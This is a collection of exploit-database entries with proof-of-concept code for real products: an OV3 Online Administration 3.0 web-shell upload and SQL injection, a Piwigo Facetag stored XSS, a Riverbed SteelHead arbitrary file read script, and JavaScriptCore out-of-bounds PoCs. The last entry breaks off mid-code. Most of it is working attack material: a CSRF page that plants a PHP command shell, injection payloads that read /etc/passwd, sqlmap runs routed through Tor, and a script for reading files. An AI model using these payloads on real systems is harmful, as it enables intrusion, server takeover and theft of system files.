daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
...
...



The application ships with a phpinfo() file "m_info.php" by default in the web root directory:

http://127.0.0.1/m_info.php

Possibly exploitable for code execution using the PHP LFI to RCE method by Gynvael Coldwind,
extended by Brett Moore:

 - http://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf
 - https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
            
<!--

OV3 Online Administration 3.0 Authenticated Code Execution


Vendor: novaCapta Software & Consulting GmbH
Product web page: http://www.meacon.de
Affected version: 3.0

Summary: With the decision to use the OV3 as a platform for your data management,
the course is set for scalable, flexible and high-performance applications. Whether
you use the OV3 for your internal data management or use it for commercial business
applications such as shops, portals, etc. Thanks to the data-based structure of the
OV3, you always have the best tool at your fingertips. The OV3 is a 100% web-based
tool. This eliminates the need to install a new software on all participating client
computers. All elements are operated by a standard browser. Further advantages are
the location-dependent use and - particularly with ASP solutions - the reduced costs
for local hardware like own servers and modern client workstations.

Desc: The application suffers from an authenticated arbitrary code execution. The
vulnerability is caused due to the improper verification of uploaded files in 'image_editor.php'
script thru the 'userfile' POST parameter. This can be exploited to execute arbitrary
PHP code by uploading a malicious PHP script file that will be stored in '/media/customers/'
directory. There is an extension check when uploading images and if the uploaded file
does not have the .jpg or .png extension, the application uploads the file with .safety
extension, which still executes PHP code. The attacker only needs the sid parameter
value which is disclosed within the initial GET request while authenticating and can be
collected in MitM attack.

Tested on: CentOS release 6.8 (Final)
           PHP/5.3.3
           Apache/2.2.15
           MySQL/5.0.11


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5411
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5411.php


26.12.2016

-->


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http:\/\/127.0.0.1\/ov3.php?todo=manager&manager=media&sub=insert&edit_id=0&&from=&sid=c7cd370ec516d273230944a2c6495d38&stamp=1234567890&lang=en", true);
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundary5HeURJ9AF8oOlc8q");
        xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.8");
        xhr.withCredentials = true;
        var body = "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"save_close\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"window_key\"\r\n" + 
          "\r\n" + 
          "1482761612\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[user]\"\r\n" + 
          "\r\n" + 
          "1483825\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[group]\"\r\n" + 
          "\r\n" + 
          "1095422\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[description]\"\r\n" + 
          "\r\n" + 
          "ZSL\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[alttext]\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[subline]\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"file_type\"\r\n" + 
          "\r\n" + 
          "upload\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n" + 
          "\r\n" + 
          "122914560\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"userfile\"; filename=\"shell.php.jpg\"\r\n" + 
          "Content-Type: image/webp\r\n" + 
          "\r\n" + 
          "\x3c?php system($_REQUEST[\'cmd\']); ?\x3e\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[author]\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[copyright]\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[license_confirm]\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in_12_1\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[license_expires]\"\r\n" + 
          "\r\n" + 
          "license_expires\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[license_expires_0]\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[license_expires_1]\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[license_expires_2]\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[license_remind]\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[scheme_id_selected]\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[scheme_id]\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Write file" onclick="submitRequest();" />
    </form>
  </body>
</html>

<!--

GET http://127.0.0.1/media/customers/5575/shell.php.jpg?cmd=id HTTP/1.1

uid=48(apache) gid=48(apache) groups=48(apache)

-->
            
OV3 Online Administration 3.0 Multiple Unauthenticated SQL Injection Vulnerabilities


Vendor: novaCapta Software & Consulting GmbH
Product web page: http://www.meacon.de
Affected version: 3.0

Summary: With the decision to use the OV3 as a platform for your data management,
the course is set for scalable, flexible and high-performance applications. Whether
you use the OV3 for your internal data management or use it for commercial business
applications such as shops, portals, etc. Thanks to the data-based structure of the
OV3, you always have the best tool at your fingertips. The OV3 is a 100% web-based
tool. This eliminates the need to install a new software on all participating client
computers. All elements are operated by a standard browser. Further advantages are
the location-dependent use and - particularly with ASP solutions - the reduced costs
for local hardware like own servers and modern client workstations.

Desc: OV3 suffers from multiple SQL Injection vulnerabilities. Input passed via multiple
GET and POST parameters, including the User-Agent HTTP header, is not properly sanitised
before being returned to the user or used in SQL queries. This can be exploited to manipulate
SQL queries by injecting arbitrary SQL code.


Tested on: CentOS release 6.8 (Final)
           PHP/5.3.3
           Apache/2.2.15
           MySQL/5.0.11


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5412
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5412.php


26.12.2016

--

The application is using some functions for escaping special characters and boolean checks,
but in many scripts there are plenty of vulnerabilities identified.

One of the vulnerable variables is "u_id" which is called via the login POST parameter.
When visiting the application, ov3.php gets loaded as main index which includes session.inc
file that contains the admin functions and the main functions for session management.

============================================================================================
/ov3.php:
---------

21: if(db_connect()!=false){
22: 	include($ov3_path."admin/session_management/session.inc");
23: 	include($ov3_path."admin/functions/functions.inc");
24:
25: 	// Escapen wichtiger Variablen
26: 	$sid = addslashes($sid);
27: 	$lang = addslashes($lang);
28:
29: 	// Session ueberpruefen bzw. anlegen
30: 	$u_info=check_session($sid);

============================================================================================


The vulnerabilities can be triggered in four session functions: new_session(), check_session(),
session_info() and check_login(). The db_exec() result query on line 22 or 74 is not using safe
functions when using the HTTP_USER_AGENT for parsing the User-Agent HTTP header contents.

============================================================================================
/admin/session_management/session.inc:
--------------------------------------

18: function check_session($sid){
19: 	global $no_ip, $ip_check, $db,$OV_SESSION_NO_IP;
20:
21: 	if($sid==""){return -2;} // keine SID geliefert
22: 	$result=db_exec("SELECT s_valid_time,u_id,c_id,ip_addr FROM ov_sessions WHERE sid=".$db[DB_SYSTEM]['uc_prefix']."'".addslashes($sid)."' and user_agent=".$db[DB_SYSTEM]['uc_prefix']."'".substr(getenv("HTTP_USER_AGENT"),0,127)."'", __FILE__, __LINE__);
23: 	if(db_rows($result)!=1){return -1;}
24: 	// Session existiert
25: 	$data = db_fetch_array($result,"");
26: 	db_free($result);
27: 	unset($result);
28: 	if($data["s_valid_time"] < time()){return -3;}// Session Zeit abgelaufen
29: 	if(!isset($OV_SESSION_NO_IP) || !$OV_SESSION_NO_IP[$data['c_id']]===true){
30: 		// IP check
31: 		$nFirstThreeBytes = strrpos(getenv ("REMOTE_ADDR"),".");
32: 		//echo substr($data['ip_addr'],0,$nFirstThreeBytes)." ".substr(getenv ("REMOTE_ADDR"),0,$nFirstThreeBytes);
33: 		if(substr($data['ip_addr'],0,$nFirstThreeBytes) != substr(getenv ("REMOTE_ADDR"),0,$nFirstThreeBytes)){
34: 			return -4;	// ip stimmt nicht
35: 		}
36: 	}
37: 	touch_session($sid);
38: 	return $data;
39: }
....
....
60: function new_session() {
61: 	global $session_time, $db;
62:
63: 	// microtime ist nur uf Unix Systemen verfuegbar. sonst: time()
64: 	if (OV_DEBUG==false) {
65: 		srand(microtime() * 1000000);
66: 		$sid=md5(uniqid(rand()));
67: 	} else {
68: 		$sid = $_GET['temp_sid'];
69: 		db_exec("DELETE FROM ov_sessions WHERE sid='".$_GET['temp_sid']."'");
70: 	}
71:
72: 	$time=time();
73:
74: 	db_exec("INSERT INTO ov_sessions (sid, s_time,s_valid_time,ip_addr,user_agent) values (".$db[DB_SYSTEM]['uc_prefix']."'".$sid."', $time, ".($time+$session_time).", ".$db[DB_SYSTEM]['uc_prefix']."'".getenv("REMOTE_ADDR")."', ".$db[DB_SYSTEM]['uc_prefix']."'".substr(getenv("HTTP_USER_AGENT"),0,127)."')", __FILE__, __LINE__);
75:
76: 	unset($time);
77: 	return $sid;
78: }

============================================================================================


The following PoC request demonstrates the issue:

GET /ov3.php?todo=manager&manager=home&sub=profile&mode=show&sid=ba2211a30f4d1b395ca5c987eda4TEST&stamp=1234567890&lang=en HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: ZSL/3.0'
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
DNT: 1
Connection: close


Response:

HTTP/1.1 200 OK
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.3.3
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 2400
Connection: close
Content-Type: text/html

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''ZSL/3.0''' at line 1<br>SELECT s_valid_time,u_id,c_id,ip_addr FROM ov_sessions WHERE sid='ba2211a30f4d1b395ca5c987eda4TEST' and user_agent='ZSL/3.0''<br>File: /opt/www/admin/session_management/session.inc<br>Line: 22<br>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''ZSL/3.0'')' at line 1<br>INSERT INTO ov_sessions (sid, s_time,s_valid_time,ip_addr,user_agent) values ('78bed236c22de53aa235a2978bfad608', 1487616926, 1487624126, '127.0.0.1', 'ZSL/3.0'')<br>File: /opt/www/admin/session_management/session.inc<br>Line: 74


Going back to other parameters, multiple vectors available:

============================================================================================
/admin/session_management/session.inc:
--------------------------------------

90: function session_info($sid,$value){
91: 	global $u_id, $db;
92:
93: 	switch($value){
94: 		case "admin":
95: 		$result=db_exec("SELECT c_id,u_id FROM ov_sessions WHERE sid=".$db[DB_SYSTEM]['uc_prefix']."'".$sid."'", __FILE__, __LINE__);
96: 		$session_array=db_fetch_assoc($result,"");
97: 		$ret=$session_array["c_id"]."/".$session_array["u_id"];
98: 		break;
99: 	case "client":
100: 		$result=db_exec("SELECT client_auth FROM ov_sessions WHERE sid=".$db[DB_SYSTEM]['uc_prefix']."'".$sid."'", __FILE__, __LINE__);
101: 		list($ret)=db_fetch_row($result,"");
102: 		break;
103: 	case "time":
104: 		$result=db_row("SELECT s_time FROM ov_sessions WHERE sid=".$db[DB_SYSTEM]['uc_prefix']."'".$sid."'");
105: 		list($ret)=db_fetch_row($result,"");
106: 		break;
107: 	case 'ip':
108: 		$result=db_exec("SELECT ip_addr FROM ov_sessions WHERE sid=".$db[DB_SYSTEM]['uc_prefix']."'".$sid."'", __FILE__, __LINE__);
109: 		list($ret)=db_fetch_row($result,"");
110: 		break;
111: 	case  'u_id':
112: 		$result=db_exec("SELECT u_id FROM ov_sessions WHERE sid=".$db[DB_SYSTEM]['uc_prefix']."'".$sid."'", __FILE__, __LINE__);
113: 		list($ret)=db_fetch_row($result,"");
114: 		break;
115: 	case  'c_id':
116: 		$result=db_exec("SELECT c_id FROM ov_sessions WHERE sid=".$db[DB_SYSTEM]['uc_prefix']."'".$sid."'", __FILE__, __LINE__);
117: 		list($ret)=db_fetch_row($result,"");
118: 		break;
119: 	case  'login':
120: 		$ret=session_info($sid, "u_id");
121: 		$result=db_exec("SELECT u_name FROM ov_adminusers WHERE u_id=".$ret, __FILE__, __LINE__);
122: 		list($ret)=db_fetch_row($result,"");
123: 		break;
....
....
279: function check_login($sid,$login,$pwd){
280: 	global $browser, $system, $ver, $lang, $login_mess, $gui, $sn_cl, $db;
281:
282: 	// Check, ob browser ueberhaupt akzeptabel
283: 	$browser_ok = db_get_val("SELECT admin_browser_ok FROM ov_sessions WHERE sid=".$db[DB_SYSTEM]['uc_prefix']."'".$sid."'");
284:
285: 	if($browser_ok!=1){
286: 		$ret=false;
287: 		$login_mess=$gui["login"]["browser_zu_alt"];
288: 	} else {
289: 		if(empty($login) && empty($pwd)){
290: 			$ret=false;
281: 			$login_mess=$gui["login"]["fehlt_name_und_pwd"];//"Bitte Loginname und Passwort eingeben";
282: 		} elseif(empty($login)){
283: 			$ret=false;
284: 			$login_mess=$gui["login"]["fehlt_name"];//"Bitte Loginname eingeben";
285: 		} elseif(empty($pwd)){
286: 			$ret=false;
287: 			$login_mess=$gui["login"]["fehlt_pwd"];//"Bitte Passwort eingeben";
288: 		} else{
289: 			$sql="SELECT ".db_convert("limit0",""," 1")." c_id,u_id,u_pwd,u_logtime FROM ov_adminusers WHERE u_name=".$db[DB_SYSTEM]['uc_prefix']."'".$login."' and (active=1 or active=-2) ".db_convert("limit1",""," 1");
290: 			$result=db_exec($sql, __FILE__, __LINE__);

============================================================================================


PoC request using sqlmap LOAD_FILE(/etc/passwd):
------------------------------------------------

POST /ov3.php?todo=login&admin=login&sid=93be715421fafd53acfa1e90aa4dTEST&stamp=1234567890&lang=de HTTP/1.1
Origin: http://127.0.0.1
Content-Length: 373
Accept-Language: en-US,en;q=0.8
Accept-Encoding: gzip, deflate
Host: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
Dnt: 1
Connection: close
Cache-Control: max-age=0
User-Agent: ZSL/3.0
Content-Type: application/x-www-form-urlencoded

login=sql' AND (SELECT 9673 FROM(SELECT COUNT(*),CONCAT(0x71626a7871,(MID((IFNULL(CAST(LENGTH(LOAD_FILE(0x2f6574632f706173737764)) AS CHAR),0x20)),1,54)),0x716b7a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- yoVM&pwd=test&browser=ns&ver=6&system=mac


Output:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
...
...


Output from sqlmap:
-------------------

# python sqlmap.py -r request.txt --dbms=MySQL -f --hostname -p login --tor --time-sec=15

[*] starting at 00:36:07

[00:36:07] [INFO] parsing HTTP request from 'request.txt'
[00:36:07] [INFO] setting Tor SOCKS proxy settings
[00:36:07] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: login (POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: login=sql' RLIKE (SELECT (CASE WHEN (2881=2881) THEN 0x73716c ELSE 0x28 END))-- pMGL&pwd=test&browser=ns&ver=6&system=mac

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: login=sql' AND (SELECT 4371 FROM(SELECT COUNT(*),CONCAT(0x71626a7871,(SELECT (ELT(4371=4371,1))),0x716b7a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- jFHk&pwd=test&browser=ns&ver=6&system=mac

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: login=sql' OR SLEEP(15)-- iSlp&pwd=test&browser=ns&ver=6&system=mac
---
[00:36:08] [INFO] testing MySQL
[00:36:08] [INFO] confirming MySQL
[00:36:08] [INFO] the back-end DBMS is MySQL
[00:36:08] [INFO] actively fingerprinting MySQL
[00:36:14] [INFO] executing MySQL comment injection fingerprint
[00:36:15] [WARNING] unable to perform MySQL comment injection
web server operating system: Linux CentOS 6.8
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: active fingerprint: MySQL >= 5.0.11 and < 5.0.19
[00:36:15] [INFO] fetching server hostname
[00:36:15] [INFO] resumed: zslab.local
hostname:    'zslab.local'
[00:36:15] [INFO] fetched data logged to text files under '/Users/thricer/.sqlmap/output/zslab.local'

[*] shutting down at 00:36:15

#


Another example using the "ls[typedef]" POST parameter:

============================================================================================
/admin/manager/media/display.inc:
---------------------------------

268: 		$result=db_exec($sql." ".$sortby, __FILE__, __LINE__);

============================================================================================

Request:

POST /ov3.php?todo=manager&manager=media&sub=display&show=1&ls[small]=&ls[iname]=&ls[size]=&ls[editkey]=&ls[width]=&ls[height]=&ls[mwidth]=&ls[mheight]=&ls[typedef]=*** SQL INJECT ***&ls[edit]=&ls[ov_edit]=&ls[scheme]=&ls[language_id]=&ls[search]=&ls[dsearch]=&ls[type]=&ls[context]=&ls[preview]=&ls[module]=&sid=ba2211a30f4d1b395ca5c987eda4TEST&stamp=1234567890&lang=en HTTP/1.1
Host: 127.0.0.1
Content-Length: 128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: ZSL/3.0
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: ov3pm=8306b8f9eb7d5f0b319c49f61933d896
DNT: 1
Connection: close

rs%5Bsearch%5D=ab&rs%5Bdsearch%5D=&rs%5Btype%5D=&rs%5Bcontext%5D=&rs%5Bmodule%5D=&rs%5Bscheme%5D=&rs%5Bedit%5D=&rs%5Beditkey%5D=


Response:

HTTP/1.1 200 OK
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.3.3
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 7154
Connection: close
Content-Type: text/html

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' ORDER BY file_name ASC' at line 1<br>SELECT params, media_data_1337.locked, media_data_1337.locked_by, id, media_data_1337.changed, type, file_internal, file_name, size, media_data_1337.description,copyright,scheme_id,instances FROM media_data_1337   WHERE (file_name LIKE '%ab%' OR file_internal LIKE '%ab%') and  type=''' ORDER BY file_name ASC<br>File: /opt/www/admin/manager/media/display.inc<br>Line: 268<br><html>



POST parameters "rs[module]", "rs[path]" and "rs[edit_id]" via /admin/functions/functions.inc on line 499 also
allows the attacker to easily break out of the query by using the single quote character getting a detailed sql
syntax error disclosing the file path and table names:

499: 		$result=db_exec("SELECT COUNT(*) AS num FROM tasklists_".$c_id." WHERE (tl_pos=0 AND m_id=".$module." AND language_id='".$language_id."') OR (tl_pos=0 AND m_id=-1)", __FILE__, __LINE__);


Request:

POST /ov3.php?todo=manager&manager=task&sub=show&sid=ba2211a30f4d1b395ca5c987eda4TEST&stamp=1234567890&lang=en HTTP/1.1
Host: 127.0.0.1
Content-Length: 115
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: ZSL/3.0
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: ov3pm=8306b8f9eb7d5f0b319c49f61933d896
DNT: 1
Connection: close

rs%5Bstatus%5D=0&rs%5Bmodule%5D='&rs%5Btask_language%5D=&rs%5Bpath%5D=&rs%5Bsmall%5D=&rs%5Bedit%5D=&rs%5Beditkey%5D=


Response:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1<br>SELECT m_multilingual FROM ov_data WHERE m_id=\'<br>File: <br>Line: <br>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' AND language_id='') OR (tl_pos=0 AND m_id=-1)' at line 1<br>SELECT COUNT(*) AS num FROM tasklists_5575 WHERE (tl_pos=0 AND m_id=\' AND language_id='') OR (tl_pos=0 AND m_id=-1)<br>File: /opt/www/admin/functions/functions.inc<br>Line: 499<br>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1<br>SELECT m_name FROM ov_data WHERE m_id=\'<br>File: <br>Line:


PoC SQL Injection via GET requests:
-----------------------------------

GET /ov3.php?todo=manager&manager=task&sub=show&rs[status]=2&rs[module]='&rs[path]=&rs[changed]=0&&sid=ba2211a30f4d1b395ca5c987eda4TEST&stamp=1234567890&lang=en HTTP/1.1

GET /ov3.php?todo=manager&manager=user&sub=profile&do=show&rs[edit_id]=1483825'&rs[home]=1&sid=ba2211a30f4d1b395ca5c987eda4TEST&stamp=1234567890&lang=en HTTP/1.1
            
# Exploit Title: Piwigo plugin Facetag , Persistent XSS 
# Date: 31-05-2017
# Extension Version: 0.0.3
# Software Link: http://piwigo.org/basics/downloads
# Extension link : http://piwigo.org/ext/extension_view.php?eid=845
# Exploit Author: Touhid M.Shaikh
# Contact: http://twitter.com/touhidshaikh22
# Website: http://touhidshaikh.com/
# Category: webapps


######## Description ########
<!--
	What is Piwigo ?
	Piwigo is photo gallery software for the web, built by an active community of users and developers.Extensions make Piwigo easily customizable. Icing on the cake, Piwigo is free and open source.

	Facetag Extension in piwigo.
	This plugin extends piwigo with the function to tag faces in pictures. It adds an additional button on photo pages that let you tag a face on the picture.
-->

######## Video PoC and Article ########

https://www.youtube.com/watch?v=_ha7XBT_Omo
http://touhidshaikh.com/blog/poc/facetag-ext-piwigo-stored-xss/



######## Attact Description  ########
<!--

	Facetag Extention provide additional button on photo page for visitor or user to tag any name oh that image.


NOTE : "www.test.touhid" this domain not registed on internet. This domain host in  touhid's local machine.

==>START<==
Any visitor or registered user can perform this.

FaceTag Extension adds an additional button on photo pages that let you tag a face on the picture for visitor and registered user.

click on that button after that click on image where you want to tag a name just enter you malicious javascript and press Enter its stored as a keyword. 

Your Javascript Stored in Server's Database and execute every time when any visitor visit that photo or in keyword page.

-->

######## Proof of Concept ########



-----------------------------OUR REQUEST--------------
POST /ws.php?format=json&method=facetag.changeTag HTTP/1.1
Host: www.test.touhid
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://www.test.touhid/picture.php?/12/category/3
Content-Length: 129
Cookie: pwg_id=9i94hdpsn2dfulaecm6hqvsj77
Connection: close
Pragma: no-cache
Cache-Control: no-cache

id=-2&imageId=12&name=Hello%3Cscript%3Eprompt(22)%3C%2Fscript%3E&top=0.40539324471120086&left=0.4577020202020202&width=0&height=0

---------------------------END HERE---------------------------

Stored in database.(SQl query to stored tag in dataabase)
-------------------ws_function.php(facetag plugin)--------------

function facetag_changeTag($params, &$service) {
	if (!$service->isPost()) {
      return new PwgError(405, "This method requires HTTP POST");
    }
	
	$id = $params['id'];
	
	$answer = array();
	if($id < 0) {
		$answer['action'] = "INSERT";
		$answer['id'] = addImageFaceTag($params['imageId'], $params['name'], $params['top'], $params['left'], $params['width'], $params['height']);
	} elseif($params['name'] == "__DELETE__") {
		$answer['action'] = "DELETE";
		$answer['id'] = removeImageFaceTag($id, $params['imageId']);
	} else {
		$answer['action'] = "UPDATE";
		removeImageFaceTag($id, $params['imageId']);
		$answer['id'] = addImageFaceTag($params['imageId'], $params['name'], $params['top'], $params['left'], $params['width'], $params['height']);
	}
	
	return json_encode($answer);
}

--------------------------END HERE---------------------------
            
# Exploit title : Arbitry file reading by authenticated users on Riverbed SteelHead VCX
# Vendor: Riverbed
# Author: Gregory DRAPERI <gregory.draper_at_gmail.com>
# Date: 03/2017
# Software Link: https://www.riverbed.com/gb/products/steelhead/Free-90-day-Evaluation-SteelHead-CX-Virtual-Edition.html
# Version: SteelHead VCX (VCX255U) (x86_64) 9.6.0a
import sys
import requests


def exploit(address, login, password,file):
    s = requests.Session()
    url = address
    try:
        r1 = s.get(url+"/login?next=/");
        cookies = requests.utils.dict_from_cookiejar(s.cookies);
        csrf = cookies["csrftoken"]
        authentication = {'csrfmiddlewaretoken': csrf, '_fields': "{\"username\":\""+login+"\",\"password\":\""+password+"\",\"legalAccepted\":\"N/A\",\"userAgent\":\"\"}"}
        r2 = s.post(url+"/login?next=/",  data=authentication)
        r3 = s.get(url+"/modules/common/logs?filterStr=msg:-e .* /etc/passwd ")
        print r3.text

    except Exception as e:
        print "\n! ERROR: %s" % e
    return False



if len(sys.argv) < 4:
    print "Usage: exploit.py <target> <login> <password> <file>\n"
    print "Example: exploit.py http://192.168.1.2 admin password /etc/passwd\n"
    quit()
target = sys.argv[1]
login = sys.argv[2]
password = sys.argv[3]
file = sys.argv[4]
exploit(target,login,password,file)
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1165

Here's a snippet of JSObject::ensureLength.

bool WARN_UNUSED_RETURN ensureLength(VM& vm, unsigned length)
{
    ASSERT(length < MAX_ARRAY_INDEX);
    ASSERT(hasContiguous(indexingType()) || hasInt32(indexingType()) || hasDouble(indexingType()) || hasUndecided(indexingType()));

    bool result = true;
    if (m_butterfly.get()->vectorLength() < length)
        result = ensureLengthSlow(vm, length);
        
    if (m_butterfly.get()->publicLength() < length)
        m_butterfly.get()->setPublicLength(length);
    return result;
}

|setPublicLength| is called whether |ensureLengthSlow| failed or not. So the |publicLength| may be lager than the actual allocated memory's size, which results in an OOB access.

Tested on Linux.

PoC:
*/

const kArrayLength = 0x200000;

let arr = new Array(kArrayLength);
arr.fill({});

let exh = [];
try {
    for (;;) {
        exh.push(new ArrayBuffer(kArrayLength * 8 * 8));
    }
} catch (e) {
}

try {
    arr.length *= 8;
    print('failed');
} catch (e) {
    print(e);

    exh = null;

    print('arr length: ' + arr.length.toString(16));
    for (let i = kArrayLength, n = arr.length; i < n; i++) {
        if (arr[i])
            print(arr[i]);
    }
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1173

When a super expression is used in an arrow function, the following code, which generates bytecode, is called.

if (needsToUpdateArrowFunctionContext() && !codeBlock->isArrowFunction()) {
    bool canReuseLexicalEnvironment = isSimpleParameterList;
    initializeArrowFunctionContextScopeIfNeeded(functionSymbolTable, canReuseLexicalEnvironment);
    emitPutThisToArrowFunctionContextScope();
    emitPutNewTargetToArrowFunctionContextScope();
    emitPutDerivedConstructorToArrowFunctionContextScope();
}

Here's |emitPutDerivedConstructorToArrowFunctionContextScope|.

void BytecodeGenerator::emitPutDerivedConstructorToArrowFunctionContextScope()
{
